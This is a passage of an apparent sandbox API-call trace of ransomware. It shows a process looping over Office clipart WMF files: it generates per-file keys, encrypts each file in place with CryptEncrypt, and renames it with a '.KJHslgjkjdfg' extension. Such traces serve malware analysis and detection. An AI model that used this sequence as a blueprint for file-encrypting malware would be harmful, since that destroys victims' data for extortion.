lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.173] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.173] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.173] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc44, lpOverlapped=0x0) returned 1 [0194.173] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc50, dwBufLen=0xc50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc50) returned 1 [0194.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.173] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc50, lpOverlapped=0x0) returned 1 [0194.173] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.173] SetEndOfFile (hFile=0x130) returned 1 [0194.175] GetProcessHeap () returned 0x990000 [0194.175] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.175] GetProcessHeap () returned 0x990000 [0194.176] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.176] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.kjhslgjkjdfg")) returned 1 [0194.177] CloseHandle (hObject=0x130) returned 1 [0194.177] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1 [0194.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.178] GetProcessHeap () returned 0x990000 [0194.178] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.178] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.178] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.180] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.180] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.180] GetProcessHeap () returned 0x990000 [0194.180] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.180] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.180] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.180] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.180] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.180] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.180] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.180] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.180] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.180] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.180] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe3c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe3c, lpOverlapped=0x0) returned 1 [0194.180] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe40, dwBufLen=0xe40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe40) returned 1 [0194.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.181] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe40, lpOverlapped=0x0) returned 1 [0194.181] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.181] SetEndOfFile (hFile=0x130) returned 1 [0194.183] GetProcessHeap () returned 0x990000 [0194.183] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.183] GetProcessHeap () returned 0x990000 [0194.183] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.kjhslgjkjdfg")) returned 1 [0194.184] CloseHandle (hObject=0x130) returned 1 [0194.184] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1 [0194.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.185] GetProcessHeap () returned 0x990000 [0194.185] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.185] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.185] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.185] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.187] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.187] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.187] GetProcessHeap () returned 0x990000 [0194.187] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.187] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.187] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.188] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.188] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.188] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.188] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.188] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.188] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.188] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.188] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x138c, lpOverlapped=0x0) returned 1 [0194.189] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390, dwBufLen=0x1390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390) returned 1 [0194.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.189] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1390, lpOverlapped=0x0) returned 1 [0194.189] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.189] SetEndOfFile (hFile=0x130) returned 1 [0194.192] GetProcessHeap () returned 0x990000 [0194.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.192] GetProcessHeap () returned 0x990000 [0194.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.kjhslgjkjdfg")) returned 1 [0194.193] CloseHandle (hObject=0x130) returned 1 [0194.193] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1 [0194.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.193] GetProcessHeap () returned 0x990000 [0194.193] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.194] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.194] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.196] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.196] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.196] GetProcessHeap () returned 0x990000 [0194.196] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.196] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.196] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.196] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.196] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.196] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.196] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.196] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.196] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.196] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.197] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x12b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x12b4, lpOverlapped=0x0) returned 1 [0194.197] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12c0) returned 1 [0194.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.197] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x12c0, lpOverlapped=0x0) returned 1 [0194.198] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.198] SetEndOfFile (hFile=0x130) returned 1 [0194.200] GetProcessHeap () returned 0x990000 [0194.200] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.200] GetProcessHeap () returned 0x990000 [0194.200] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.kjhslgjkjdfg")) returned 1 [0194.201] CloseHandle (hObject=0x130) returned 1 [0194.201] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1 [0194.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.201] GetProcessHeap () returned 0x990000 [0194.201] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.201] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.202] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.202] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.202] GetProcessHeap () returned 0x990000 [0194.202] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.202] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.202] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.202] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.204] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.204] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.204] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.204] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.204] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.204] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.204] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2020, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2020, lpOverlapped=0x0) returned 1 [0194.205] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2020, dwBufLen=0x2020 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2020) returned 1 [0194.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.205] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2020, lpOverlapped=0x0) returned 1 [0194.205] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.206] SetEndOfFile (hFile=0x130) returned 1 [0194.208] GetProcessHeap () returned 0x990000 [0194.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.208] GetProcessHeap () returned 